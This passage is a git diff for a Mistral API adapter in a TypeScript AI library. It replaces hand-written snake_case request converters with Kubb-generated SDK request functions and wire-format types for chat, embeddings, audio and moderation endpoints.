this.extractTextContent(message.content) const blocks = orderedAssistantBlocks(message) ?? [ @@ -1369,9 +1311,7 @@ export class MistralTextAdapter< * Converts a ContentPart to a Mistral content part. Returns undefined for * unsupported part types. */ - private convertContentPartToMistral( - part: ContentPart, - ): ChatCompletionContentPart { + private convertContentPartToMistral(part: ContentPart): ContentChunk { if (part.type === 'text') { return { type: 'text', text: part.content } } @@ -1388,7 +1328,7 @@ export class MistralTextAdapter< : imageValue return { type: 'image_url', - imageUrl: imageMetadata?.detail + image_url: imageMetadata?.detail ? { url: imageUrl, detail: imageMetadata.detail } : imageUrl, } @@ -1403,7 +1343,7 @@ export class MistralTextAdapter< part.source.type === 'data' && !documentValue.startsWith('data:') ? `data:${part.source.mimeType};base64,${documentValue}` : documentValue - return { type: 'document_url', documentUrl } + return { type: 'document_url', document_url: documentUrl } } throw new Error( @@ -1437,57 +1377,6 @@ export class MistralTextAdapter< } } -/** - * Snake-cases a Mistral SDK message into the wire format expected by the API. - */ -function messageToWire(msg: ChatCompletionStreamRequest['messages'][number]) { - if (msg.role === 'tool') { - return { - role: 'tool', - tool_call_id: msg.toolCallId, - content: Array.isArray(msg.content) - ? msg.content.map(contentPartToWire) - : msg.content, - ...(msg.name !== undefined ? { name: msg.name } : {}), - } - } - if (msg.role === 'assistant') { - const base: Record = { - role: 'assistant', - content: msg.content ?? null, - } - if (msg.toolCalls && msg.toolCalls.length > 0) { - base.tool_calls = msg.toolCalls.map((tc) => ({ - id: tc.id, - type: tc.type ?? 'function', - function: tc.function, - })) - } - if (msg.prefix !== undefined) base.prefix = msg.prefix - return base - } - if (msg.role === 'user' && Array.isArray(msg.content)) { - return { - role: 'user', - content: msg.content.map(contentPartToWire), - } - } - return msg -} - -/** - * Snake-cases one content chunk of a user or tool message. - */ -function contentPartToWire(part: ContentChunk) { - if (part.type === 'image_url') { - return { type: 'image_url', image_url: part.imageUrl } - } - if (part.type === 'document_url') { - return { type: 'document_url', document_url: part.documentUrl } - } - return part -} - /** * Creates a Mistral text adapter with explicit API key. * diff --git a/packages/ai-mistral/src/client/index.ts b/packages/ai-mistral/src/client/index.ts index 05ae5d08c3..adb604d0b3 100644 --- a/packages/ai-mistral/src/client/index.ts +++ b/packages/ai-mistral/src/client/index.ts @@ -6,15 +6,23 @@ import { RequestTimeoutError, UnexpectedClientError, } from '@mistralai/mistralai/models/errors/httpclienterrors.js' +import { sendWith } from '@tanstack/ai-utils/kubb' +import { + mistralPostV1ChatCompletions, + mistralPostV1Embeddings, +} from '../generated/client/sdk' +import type { ClientInstance, GeneratedRequest } from '@tanstack/ai-utils/kubb' +import type { + MistralPostV1ChatCompletionsBody, + MistralPostV1EmbeddingsBody, +} from '../generated/client/types' import type { AssistantMessage, AssistantMessage$Outbound, ChatCompletionChoice, - ChatCompletionRequest, ChatCompletionResponse, ContentChunk, ContentChunk$Outbound, - EmbeddingRequest, EmbeddingResponse, EmbeddingResponseData, ImageURLChunk, @@ -28,19 +36,19 @@ import type { import type { MistralClientConfig } from '../utils/client' /** - * The part of the Mistral SDK client that the adapters call. A real - * `Mistral` instance fits this type. + * The Mistral client the adapters call. Requests are the generated wire + * bodies; responses are the SDK types. */ export interface MistralClient { chat: { complete: ( - request: ChatCompletionRequest, + body: MistralPostV1ChatCompletionsBody, options?: MistralRequestOptions, ) => Promise } embeddings: { create: ( - request: EmbeddingRequest, + body: MistralPostV1EmbeddingsBody, options?: MistralRequestOptions, ) => Promise } @@ -57,149 +65,6 @@ export interface MistralRequestOptions { type Fetcher = (url: string, init: RequestInit) => Promise -// =========================== -// Outbound: SDK camelCase -> wire snake_case (the SDK `$outboundSchema`s) -// =========================== - -function chunkToWire(chunk: ContentChunk) { - switch (chunk.type) { - case 'image_url': - return { type: chunk.type, image_url: chunk.imageUrl } - case 'document_url': - return { - type: chunk.type, - document_url: chunk.documentUrl, - document_name: chunk.documentName, - } - case 'text': - return { type: chunk.type, text: chunk.text } - case 'reference': - return { type: chunk.type, reference_ids: chunk.referenceIds } - case 'file': - return { type: chunk.type, file_id: chunk.fileId } - case 'thinking': - return thinkChunkToWire(chunk) - case 'input_audio': - return { type: chunk.type, input_audio: chunk.inputAudio } - case 'UNKNOWN': - // An unknown chunk read from a response. Send what came in. - return chunk.raw - } -} - -function thinkChunkToWire(chunk: ThinkChunk) { - return { - type: 'thinking', - thinking: chunk.thinking.map((part) => { - if ('referenceIds' in part) { - return { type: 'reference', reference_ids: part.referenceIds } - } - if ('title' in part) { - const { tool, title, url, favicon, description } = part - return { - type: 'tool_reference', - tool, - title, - url, - favicon, - description, - } - } - return { type: 'text', text: part.text } - }), - closed: chunk.closed, - } -} - -function contentToWire( - content: string | Array | null | undefined, -) { - return Array.isArray(content) ? content.map(chunkToWire) : content -} - -function messageToWire(message: ChatCompletionRequest['messages'][number]) { - switch (message.role) { - case 'assistant': - return { - role: message.role, - content: contentToWire(message.content), - tool_calls: message.toolCalls?.map((call) => ({ - id: call.id ?? 'null', - type: call.type, - function: call.function, - index: call.index ?? 0, - })), - prefix: message.prefix ?? false, - } - case 'system': - return { role: message.role, content: contentToWire(message.content) } - case 'tool': - return { - role: message.role, - content: contentToWire(message.content), - tool_call_id: message.toolCallId, - name: message.name, - } - case 'user': - return { role: message.role, content: contentToWire(message.content) } - } -} - -/** The JSON body the SDK sends for `chat.complete`. */ -export function chatCompletionRequestToWire(request: ChatCompletionRequest) { - const { responseFormat, prediction } = request - const jsonSchema = responseFormat?.jsonSchema - return { - model: request.model, - temperature: request.temperature, - top_p: request.topP, - max_tokens: request.maxTokens, - stream: request.stream ?? false, - stop: request.stop, - random_seed: request.randomSeed, - metadata: request.metadata, - messages: request.messages.map(messageToWire), - response_format: responseFormat && { - type: responseFormat.type, - json_schema: jsonSchema && { - name: jsonSchema.name, - description: jsonSchema.description, - schema: jsonSchema.schemaDefinition, - strict: jsonSchema.strict, - }, - }, - // ponytail: function tools and tool choice need no renames. Built-in - // connector tools and `guardrails` go out as given; the adapters never - // send them. Port their rename tables when an adapter does. - tools: request.tools, - tool_choice: request.toolChoice, - presence_penalty: request.presencePenalty, - frequency_penalty: request.frequencyPenalty, - n: request.n, - prediction: prediction && { - type: prediction.type ?? 'content', - content: prediction.content ?? '', - }, - parallel_tool_calls: request.parallelToolCalls, - reasoning_effort: request.reasoningEffort, - prompt_mode: request.promptMode, - guardrails: request.guardrails, - safe_prompt: request.safePrompt, - } -} - -/** The JSON body the SDK sends for `embeddings.create`. */ -export function embeddingRequestToWire(request: EmbeddingRequest) { - return { - model: request.model, - metadata: request.metadata, - input: request.inputs, - output_dimension: request.outputDimension, - output_dtype: request.outputDtype, - encoding_format: request.encodingFormat, - } -} - // =========================== // Inbound: wire snake_case -> SDK camelCase (the SDK `$inboundSchema`s) // =========================== @@ -331,15 +196,15 @@ function assistantFromWire(message: WireAssistant): AssistantMessage { /** The SDK `ChatCompletionResponse` for a wire response. */ export function chatCompletionResponseFromWire( - wire: WireChatCompletion, + body: WireChatCompletion, ): ChatCompletionResponse { return { - id: wire.id, - object: wire.object, - model: wire.model, - usage: usageFromWire(wire.usage), - created: wire.created, - choices: wire.choices.map((choice) => ({ + id: body.id, + object: body.object, + model: body.model, + usage: usageFromWire(body.usage), + created: body.created, + choices: body.choices.map((choice) => ({ index: choice.index, message: choice.message && assistantFromWire(choice.message), messages: choice.messages?.map(assistantFromWire), @@ -350,14 +215,14 @@ export function chatCompletionResponseFromWire( /** The SDK `EmbeddingResponse` for a wire response. */ export function embeddingResponseFromWire( - wire: WireEmbedding, + body: WireEmbedding, ): EmbeddingResponse { return { - id: wire.id, - object: wire.object, - model: wire.model, - usage: usageFromWire(wire.usage), - data: wire.data.map((item) => ({ + id: body.id, + object: body.object, + model: body.model, + usage: usageFromWire(body.usage), + data: body.data.map((item) => ({ object: item.object, embedding: item.embedding, index: item.index, @@ -468,15 +333,20 @@ export function createMistralClient( baseURL.pathname = `${baseURL.pathname.replace(/\/+$/, '')}/` const timeoutMs = config.timeoutMs || 30000 - async function post( - path: string, - body: unknown, + // Sends one generated request. It resolves to a 200 JSON response, else + // throws the SDK error. + async function send( + built: GeneratedRequest, requestOptions?: MistralRequestOptions, ) { - const url = new URL(path, baseURL) + // The generated path starts with `/v1/`. Relative to `baseURL`, it keeps a + // path prefix of a custom base URL. + const url = new URL(built.path.replace(/^\/+/, ''), baseURL) url.hash = '' + // The generated body headers (its content type) go first, so the client + // headers win. const headers = new Headers({ - 'Content-Type': 'application/json', + ...built.headers, Accept: 'application/json', }) if (apiKey) { @@ -484,15 +354,15 @@ export function createMistralClient( headers.set('Authorization', isBearer ? apiKey : `Bearer ${apiKey}`) } const init: RequestInit = { - method: 'POST', + method: built.method, headers, - body: JSON.stringify(body), + body: built.body, signal: requestOptions?.signal ?? requestOptions?.fetchOptions?.signal ?? (timeoutMs > 0 ? AbortSignal.timeout(timeoutMs) : undefined), } - const send = + const doFetch = fetcher ?? ((input: string, options: RequestInit) => fetch(input, options)) @@ -507,25 +377,16 @@ export function createMistralClient( if (getAccessToken !== undefined) { headers.set('Authorization', `Bearer ${await getAccessToken()}`) } - response = await send(requestURL, init) + response = await doFetch(requestURL, init) } catch (err) { throw toClientError(err) } const isJSON = isJSONResponse(response) - if (response.status === 200 && isJSON) { - const wire = JSON.parse(await response.text()) - const deprecation = response.headers.get('x-model-deprecation-timestamp') - if (deprecation !== null) { - console.warn( - `WARNING: The model ${wire.model} is deprecated and will be removed on ${deprecation}. Please refer to https://docs.mistral.ai/getting-started/models/#api-versioning for more information.`, - ) - } - return wire - } + if (response.status === 200 && isJSON) return response const request = new Request(requestURL, { - method: 'POST', + method: built.method, headers, body: init.body, }) @@ -567,21 +428,49 @@ export function createMistralClient( }) } + // Runs a generated operation through `send` and parses the JSON body. + async function post( + operation: (client: ClientInstance) => Promise<{ response: Response }>, + requestOptions?: MistralRequestOptions, + ) { + const { response } = await operation( + sendWith((built) => send(built, requestOptions)), + ) + const body = JSON.parse(await response.text()) + const deprecation = response.headers.get('x-model-deprecation-timestamp') + if (deprecation !== null) { + console.warn( + `WARNING: The model ${body.model} is deprecated and will be removed on ${deprecation}. Please refer to https://docs.mistral.ai/getting-started/models/#api-versioning for more information.`, + ) + } + return body + } + return { chat: { - complete: async (request, options) => + complete: async (body, options) => chatCompletionResponseFromWire( await post( - 'v1/chat/completions', - chatCompletionRequestToWire(request), + (client) => + mistralPostV1ChatCompletions({ + client, + body, + }), options, ), ), }, embeddings: { - create: async (request, options) => + create: async (body, options) => embeddingResponseFromWire( - await post('v1/embeddings', embeddingRequestToWire(request), options), + await post( + (client) => + mistralPostV1Embeddings({ + client, + body, + }), + options, + ), ), }, } diff --git a/packages/ai-mistral/src/generated/client/sdk.ts b/packages/ai-mistral/src/generated/client/sdk.ts new file mode 100644 index 0000000000..ca25efca80 --- /dev/null +++ b/packages/ai-mistral/src/generated/client/sdk.ts @@ -0,0 +1,221 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +import type { + MistralPostV1AgentsCompletionsOptions, + MistralPostV1AgentsCompletionsResponses, + MistralPostV1AudioSpeechOptions, + MistralPostV1AudioSpeechResponses, + MistralPostV1AudioTranscriptionsOptions, + MistralPostV1AudioTranscriptionsResponses, + MistralPostV1ChatCompletionsOptions, + MistralPostV1ChatCompletionsResponses, + MistralPostV1ChatModerationsOptions, + MistralPostV1ChatModerationsResponses, + MistralPostV1EmbeddingsOptions, + MistralPostV1EmbeddingsResponses, + MistralPostV1FimCompletionsOptions, + MistralPostV1FimCompletionsResponses, + MistralPostV1ModerationsOptions, + MistralPostV1ModerationsResponses, +} from './types' +import type { Options, RequestResult } from '@tanstack/ai-utils/kubb' +import { client } from '@tanstack/ai-utils/kubb' + +/** + * @summary Agents Completion + * {@link /v1/agents/completions} + */ +export function mistralPostV1AgentsCompletions< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/agents/completions', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Speech + * {@link /v1/audio/speech} + */ +export function mistralPostV1AudioSpeech( + options: Options, +): Promise> { + const { client: request = client, contentType, ...config } = options + + return request({ + method: 'POST', + url: '/v1/audio/speech', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { + request: 'application/json', + ...(typeof contentType === 'string' + ? { request: contentType } + : contentType), + }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Create Transcription + * {@link /v1/audio/transcriptions} + */ +export function mistralPostV1AudioTranscriptions< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, contentType, ...config } = options + + return request({ + method: 'POST', + url: '/v1/audio/transcriptions', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { + request: 'multipart/form-data', + ...(typeof contentType === 'string' + ? { request: contentType } + : contentType), + }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Chat Completion + * {@link /v1/chat/completions} + */ +export function mistralPostV1ChatCompletions< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise> { + const { client: request = client, contentType, ...config } = options + + return request({ + method: 'POST', + url: '/v1/chat/completions', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { + request: 'application/json', + ...(typeof contentType === 'string' + ? { request: contentType } + : contentType), + }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Chat Moderations + * {@link /v1/chat/moderations} + */ +export function mistralPostV1ChatModerations< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/chat/moderations', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Embeddings + * {@link /v1/embeddings} + */ +export function mistralPostV1Embeddings( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/embeddings', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Fim Completion + * {@link /v1/fim/completions} + */ +export function mistralPostV1FimCompletions< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise> { + const { client: request = client, contentType, ...config } = options + + return request({ + method: 'POST', + url: '/v1/fim/completions', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { + request: 'application/json', + ...(typeof contentType === 'string' + ? { request: contentType } + : contentType), + }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Moderations + * {@link /v1/moderations} + */ +export function mistralPostV1Moderations( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/moderations', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} diff --git a/packages/ai-mistral/src/generated/client/types.ts b/packages/ai-mistral/src/generated/client/types.ts new file mode 100644 index 0000000000..b113dc7651 --- /dev/null +++ b/packages/ai-mistral/src/generated/client/types.ts @@ -0,0 +1,2476 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +export type APIKeyAuth = { + /** + * @default 'api-key' + * @type string | undefined + */ + type?: 'api-key' + value: string +} + +export type TextChunk = { + /** + * @default 'text' + * @type string | undefined + */ + type?: 'text' + text: string +} + +export const imageDetail = { + low: 'low', + auto: 'auto', + high: 'high', +} as const + +export type ImageDetailKey = (typeof imageDetail)[keyof typeof imageDetail] + +export type ImageURL = { + url: string + detail?: ImageDetailKey | null +} + +/** + * @description {"type":"image_url","image_url":"data:image/png;base64,iVBORw0"} + * @type object + */ +export type ImageURLChunk = { + /** + * @default 'image_url' + * @type string | undefined + */ + type?: 'image_url' + image_url: ImageURL | string +} + +export type DocumentURLChunk = { + /** + * @default 'document_url' + * @type string | undefined + */ + type?: 'document_url' + document_url: string + /** + * @description The filename of the document + */ + document_name?: string | null +} + +export type ReferenceChunk = { + /** + * @default 'reference' + * @type string | undefined + */ + type?: 'reference' + reference_ids: (number | string)[] +} + +export type FileChunk = { + /** + * @default 'file' + * @type string | undefined + */ + type?: 'file' + /** + * @description + * Format: `uuid` + * @type string + */ + file_id: string +} + +export const builtInConnectors = { + web_search: 'web_search', + web_search_premium: 'web_search_premium', + code_interpreter: 'code_interpreter', + image_generation: 'image_generation', + document_library: 'document_library', + mistral_mcp: 'mistral_mcp', +} as const + +export type BuiltInConnectorsKey = + (typeof builtInConnectors)[keyof typeof builtInConnectors] + +export type ToolReferenceChunk = { + /** + * @default 'tool_reference' + * @type string | undefined + */ + type?: 'tool_reference' + tool: BuiltInConnectorsKey | string + title: string + url?: string | null + favicon?: string | null + description?: string | null +} + +export type ThinkChunk = { + /** + * @default 'thinking' + * @type string | undefined + */ + type?: 'thinking' + thinking: (TextChunk | ToolReferenceChunk | ReferenceChunk)[] + /** + * @description Signature to replay some reasoning blocks across turns. + */ + signature?: string | null + /** + * @description Whether the thinking chunk is closed or not. Currently only used for prefixing. + * @default true + * @type boolean | undefined + */ + closed?: boolean +} + +export type AudioChunk = { + /** + * @default 'input_audio' + * @type string | undefined + */ + type?: 'input_audio' + input_audio: string | Blob +} + +export type ResourceChunk = { + /** + * @default 'resource' + * @type string | undefined + */ + type?: 'resource' + uri: string + content: + | (TextChunk & { + type: 'text' + }) + | (ImageURLChunk & { + type: 'image_url' + }) +} + +export type ResourceLinkChunk = { + /** + * @default 'resource_link' + * @type string | undefined + */ + type?: 'resource_link' + uri: string + metadata?: { + [key: string]: string | number | number | boolean + } | null +} + +export type ContentChunk = + | (TextChunk & { + type: 'text' + }) + | (ImageURLChunk & { + type: 'image_url' + }) + | (DocumentURLChunk & { + type: 'document_url' + }) + | (ReferenceChunk & { + type: 'reference' + }) + | (FileChunk & { + type: 'file' + }) + | (ThinkChunk & { + type: 'thinking' + }) + | (AudioChunk & { + type: 'input_audio' + }) + | (ResourceChunk & { + type: 'resource' + }) + | (ResourceLinkChunk & { + type: 'resource_link' + }) + +export const toolTypes = { + function: 'function', +} as const + +export type ToolTypesKey = (typeof toolTypes)[keyof typeof toolTypes] + +export type FunctionCall = { + name: string + arguments: + | { + [key: string]: unknown + } + | string +} + +export type ToolCall = { + /** + * @default 'null' + * @type string | undefined + */ + id?: string + /** + * @default 'function' + * @type string | undefined + */ + type?: ToolTypesKey + function: FunctionCall + /** + * @default 0 + * @type integer | undefined + */ + index?: number +} + +export type AssistantMessage = { + /** + * @default 'assistant' + * @type string | undefined + */ + role?: 'assistant' + content?: string | null | ContentChunk[] + tool_calls?: ToolCall[] | null + /** + * @description Set this to `true` when adding an assistant message as prefix to condition the model response. The role of the prefix message is to force the model to start its answer by the content of the message. + * @default false + * @type boolean | undefined + */ + prefix?: boolean +} + +export type OAuth2TokenAuth = { + /** + * @default 'oauth2-token' + * @type string | undefined + */ + type?: 'oauth2-token' + value: string +} + +export type ToolConfiguration = { + exclude?: string[] | null + include?: string[] | null + requires_confirmation?: string[] | null +} + +export type CustomConnector = { + /** + * @default 'connector' + * @type string | undefined + */ + type?: 'connector' + connector_id: string + /** + * @description Deprecated: per-request connector credentials will be removed. Authenticate the connector through the Connectors API instead. + * @deprecated + */ + authorization?: + | ( + | (OAuth2TokenAuth & { + type: 'oauth2-token' + }) + | (APIKeyAuth & { + type: 'api-key' + }) + ) + | null + tool_configuration?: ToolConfiguration | null +} + +export type DocumentLibraryTool = { + tool_configuration?: ToolConfiguration | null + /** + * @default 'document_library' + * @type string | undefined + */ + type?: 'document_library' + /** + * @description Ids of the library in which to search. + * @type array + */ + library_ids: string[] +} + +export type Function = { + name: string + /** + * @default '' + * @type string | undefined + */ + description?: string + /** + * @default false + * @type boolean | undefined + */ + strict?: boolean + parameters: { + [key: string]: unknown + } +} + +/** + * @description this restriction of `Function` is used to select a specific function to call + * @type object + */ +export type FunctionName = { + name: string +} + +export type ModerationLLMV1CategoryThresholds = { + sexual?: number | null + hate_and_discrimination?: number | null + violence_and_threats?: number | null + dangerous_and_criminal_content?: number | null + selfharm?: number | null + health?: number | null + financial?: number | null + law?: number | null + pii?: number | null +} + +export const moderationLLMAction = { + none: 'none', + block: 'block', +} as const + +export type ModerationLLMActionKey = + (typeof moderationLLMAction)[keyof typeof moderationLLMAction] + +export type ModerationLLMV1Config = { + /** + * @description Override model name. Should be omitted in general. + * @default 'mistral-moderation-2411' + * @type string | undefined + */ + model_name?: string + custom_category_thresholds?: ModerationLLMV1CategoryThresholds | null + /** + * @description If true, only evaluate categories in custom_category_thresholds; others are ignored. + * @default false + * @type boolean | undefined + */ + ignore_other_categories?: boolean + /** + * @description Action to take if any score is above the threshold for any category. + * @default 'none' + * @type string | undefined + */ + action?: ModerationLLMActionKey +} + +export type ModerationLLMV2CategoryThresholds = { + sexual?: number | null + hate_and_discrimination?: number | null + violence_and_threats?: number | null + dangerous?: number | null + criminal?: number | null + selfharm?: number | null + health?: number | null + financial?: number | null + law?: number | null + pii?: number | null + jailbreaking?: number | null +} + +export type ModerationLLMV2Config = { + /** + * @description Override model name. Should be omitted in general. + * @default 'mistral-moderation-2603' + * @type string | undefined + */ + model_name?: string + custom_category_thresholds?: ModerationLLMV2CategoryThresholds | null + /** + * @description If true, only evaluate categories in custom_category_thresholds; others are ignored. + * @default false + * @type boolean | undefined + */ + ignore_other_categories?: boolean + /** + * @description Action to take if any score is above the threshold for any category. + * @default 'none' + * @type string | undefined + */ + action?: ModerationLLMActionKey +} + +export type GuardrailConfig = { + /** + * @description If true, return HTTP 403 and block request in the event of a server-side error + * @default false + * @type boolean | undefined + */ + block_on_error?: boolean + moderation_llm_v1?: ModerationLLMV1Config | null + moderation_llm_v2?: ModerationLLMV2Config | null +} + +export type ImageGenerationTool = { + tool_configuration?: ToolConfiguration | null + /** + * @default 'image_generation' + * @type string | undefined + */ + type?: 'image_generation' +} + +export type JsonSchema = { + name: string + description?: string | null + schema: { + [key: string]: unknown + } + /** + * @default false + * @type boolean | undefined + */ + strict?: boolean +} + +export const mistralPromptMode = { + reasoning: 'reasoning', +} as const + +export type MistralPromptModeKey = + (typeof mistralPromptMode)[keyof typeof mistralPromptMode] + +/** + * @description Enable users to specify an expected completion, optimizing response times by leveraging known or predictable content. + * @type object + */ +export type Prediction = { + /** + * @default 'content' + * @type string | undefined + */ + type?: 'content' + /** + * @default '' + * @type string | undefined + */ + content?: string +} + +export const reasoningEffort = { + none: 'none', + minimal: 'minimal', + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type ReasoningEffortKey = + (typeof reasoningEffort)[keyof typeof reasoningEffort] + +export const requestedServiceTier = { + auto: 'auto', + standard_only: 'standard_only', +} as const + +export type RequestedServiceTierKey = + (typeof requestedServiceTier)[keyof typeof requestedServiceTier] + +export const responseFormats = { + text: 'text', + json_object: 'json_object', + json_schema: 'json_schema', +} as const + +export type ResponseFormatsKey = + (typeof responseFormats)[keyof typeof responseFormats] + +/** + * @description Specify the format that the model must output. By default it will use `{ "type": "text" }`. Setting to `{ "type": "json_object" }` enables JSON mode, which guarantees the message the model generates is in JSON. When using JSON mode you MUST also instruct the model to produce JSON yourself with a system or a user message. Setting to `{ "type": "json_schema" }` enables JSON schema mode, which guarantees the message the model generates is in JSON and follows the schema you provide. + * @example {"type":"text"} + * @example {"type":"json_object"} + * @example {"type":"json_schema","json_schema":{"schema":{"properties":{"name":{"title":"Name","type":"string"},"authors":{"items":{"type":"string"},"title":"Authors","type":"array"}},"required":["name","authors"],"title":"Book","type":"object","additionalProperties":false},"name":"book","strict":true}} + * @type object + */ +export type ResponseFormat = { + /** + * @default 'text' + * @type string | undefined + */ + type?: ResponseFormatsKey + json_schema?: JsonSchema | null +} + +export type SystemMessageContentChunks = + | (TextChunk & { + type: 'text' + }) + | (ThinkChunk & { + type: 'thinking' + }) + +export type SystemMessage = { + /** + * @default 'system' + * @type string | undefined + */ + role?: 'system' + content: string | SystemMessageContentChunks[] +} + +export type Tool = { + /** + * @default 'function' + * @type string | undefined + */ + type?: ToolTypesKey + function: Function +} + +/** + * @description ToolChoice is either a ToolChoiceEnum or a ToolChoice + * @type object + */ +export type ToolChoice = { + /** + * @default 'function' + * @type string | undefined + */ + type?: ToolTypesKey + /** + * @description this restriction of `Function` is used to select a specific function to call + * @type object + */ + function: FunctionName +} + +export const toolChoiceEnum = { + auto: 'auto', + none: 'none', + any: 'any', + required: 'required', +} as const + +export type ToolChoiceEnumKey = + (typeof toolChoiceEnum)[keyof typeof toolChoiceEnum] + +export type ToolMessage = { + /** + * @default 'tool' + * @type string | undefined + */ + role?: 'tool' + content: string | null | ContentChunk[] + tool_call_id?: string | null + name?: string | null +} + +export type UserMessage = { + /** + * @default 'user' + * @type string | undefined + */ + role?: 'user' + content: string | null | ContentChunk[] +} + +export type DeltaMessage = { + role?: string | null + content?: string | null | ContentChunk[] + tool_calls?: null | ToolCall[] + tool_call_id?: string | null + /** + * @description If the completion returns multiple messages, this is to specify which message this delta is for. + */ + index?: number | null + metadata?: { + [key: string]: unknown + } | null +} + +export type ChatCompletionResponseTokenLogprobs = { + token: string + logprob: number + bytes: number[] + token_id: number +} + +export type ChatCompletionResponseTokenLogprobsTopK = { + token: string + logprob: number + bytes: number[] + token_id: number + top_logprobs?: ChatCompletionResponseTokenLogprobs[] | null +} + +export type ChatCompletionResponseChoiceLogprobs = { + content: ChatCompletionResponseTokenLogprobsTopK[] +} + +export const chatCompletionChoiceFinishReasonEnum = { + stop: 'stop', + length: 'length', + model_length: 'model_length', + error: 'error', + tool_calls: 'tool_calls', +} as const + +export type ChatCompletionChoiceFinishReasonEnumKey = + (typeof chatCompletionChoiceFinishReasonEnum)[keyof typeof chatCompletionChoiceFinishReasonEnum] + +export type ChatCompletionChoice = { + /** + * @example 0 + * @type integer + */ + index: number + message?: AssistantMessage + messages?: DeltaMessage[] + /** + * @example stop + * @type string + */ + finish_reason: ChatCompletionChoiceFinishReasonEnumKey + logprobs?: ChatCompletionResponseChoiceLogprobs | null + prompt_logprobs?: ChatCompletionResponseChoiceLogprobs | null +} + +export type UsageInfo = { + /** + * @default 0 + * @type integer + */ + prompt_tokens: number + /** + * @default 0 + * @type integer + */ + completion_tokens: number + /** + * @default 0 + * @type integer + */ + total_tokens: number + prompt_audio_seconds?: number | null + /** + * @description The service tier at which the request was processed: standard or priority. + */ + service_tier?: string | null +} + +export type ResponseBase = { + /** + * @example cmpl-e5cc70bb28c444948073e77776eb30ef + * @type string | undefined + */ + id?: string + /** + * @example chat.completion + * @type string | undefined + */ + object?: string + /** + * @example mistral-small-latest + * @type string | undefined + */ + model?: string + usage?: UsageInfo +} + +export type ChatCompletionResponseBase = ResponseBase & { + /** + * @example 1702256327 + * @type integer | undefined + */ + created?: number +} + +export const IPAPhoneme = { + a: 'a', + aɪ: 'aɪ', + aʊ: 'aʊ', + b: 'b', + d: 'd', + dʒ: 'dʒ', + e: 'e', + eɪ: 'eɪ', + f: 'f', + g: 'g', + h: 'h', + i: 'i', + j: 'j', + k: 'k', + l: 'l', + m: 'm', + n: 'n', + o: 'o', + oʊ: 'oʊ', + p: 'p', + s: 's', + t: 't', + tʃ: 'tʃ', + u: 'u', + v: 'v', + w: 'w', + z: 'z', + æ: 'æ', + ð: 'ð', + ŋ: 'ŋ', + ɑ: 'ɑ', + ɔ: 'ɔ', + ɔɪ: 'ɔɪ', + ɖ: 'ɖ', + ə: 'ə', + ɚ: 'ɚ', + ɛ: 'ɛ', + ɜ: 'ɜ', + ɪ: 'ɪ', + ɱ: 'ɱ', + ɹ: 'ɹ', + ɾ: 'ɾ', + ʃ: 'ʃ', + ʈ: 'ʈ', + ʊ: 'ʊ', + ʋ: 'ʋ', + ʌ: 'ʌ', + ʒ: 'ʒ', + ʔ: 'ʔ', + θ: 'θ', + ʁ: 'ʁ', + r: 'r', + ɑ̃: 'ɑ̃', + ʀ: 'ʀ', + x: 'x', + y: 'y', + ɔ̃: 'ɔ̃', + ɐ: 'ɐ', + œ: 'œ', + ɛ̃: 'ɛ̃', + ʝ: 'ʝ', + ɲ: 'ɲ', + ts: 'ts', + ɥ: 'ɥ', + ʏ: 'ʏ', + ø: 'ø', + β: 'β', + ɦ: 'ɦ', + pf: 'pf', + ʎ: 'ʎ', + ɣ: 'ɣ', + ɳ: 'ɳ', + ɔʏ: 'ɔʏ', + œ̃: 'œ̃', + ɟʝ: 'ɟʝ', + ɬ: 'ɬ', + q: 'q', +} as const + +export type IPAPhonemeKey = (typeof IPAPhoneme)[keyof typeof IPAPhoneme] + +/** + * @description Custom type for metadata with embedded validation. + * @type object + */ +export type MetadataDict = { + [key: string]: unknown +} + +export type RawAudio = { + data: string | Blob +} + +export type SpeechAssistantTurn = { + role: 'assistant' + /** + * @description Text the assistant spoke on this turn. + * @type string + */ + text: string + /** + * @description Audio the assistant produced for this turn, as a base64-encoded string or raw bytes. + * @type object + */ + audio: RawAudio +} + +export const speechOutputFormat = { + pcm: 'pcm', + wav: 'wav', + mp3: 'mp3', + flac: 'flac', + opus: 'opus', +} as const + +export type SpeechOutputFormatKey = + (typeof speechOutputFormat)[keyof typeof speechOutputFormat] + +export type SpeechUserTurn = { + role: 'user' + /** + * @description User audio for this turn, as a base64-encoded string or raw bytes. + * @type object + */ + audio: RawAudio +} + +/** + * @description Token usage details for the completion. + * + * ``reasoning_tokens`` 